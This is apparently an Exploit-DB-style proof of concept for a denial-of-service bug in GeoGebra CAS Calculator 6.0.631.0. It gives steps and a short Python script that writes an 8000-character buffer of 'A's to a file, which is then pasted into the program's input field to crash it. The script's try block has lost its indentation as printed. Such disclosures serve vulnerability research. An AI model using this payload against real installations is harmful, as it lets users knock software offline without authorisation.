# Exploit Title: GeoGebra CAS Calculator 6.0.631.0 - Denial of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 6.0.631.0-offlinecas
# Tested on: Windows 8.1 Pro
# STEPS
# Open the program Calculadora CAS
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the field "Entrada..."
# Crashed
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 8000
try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")
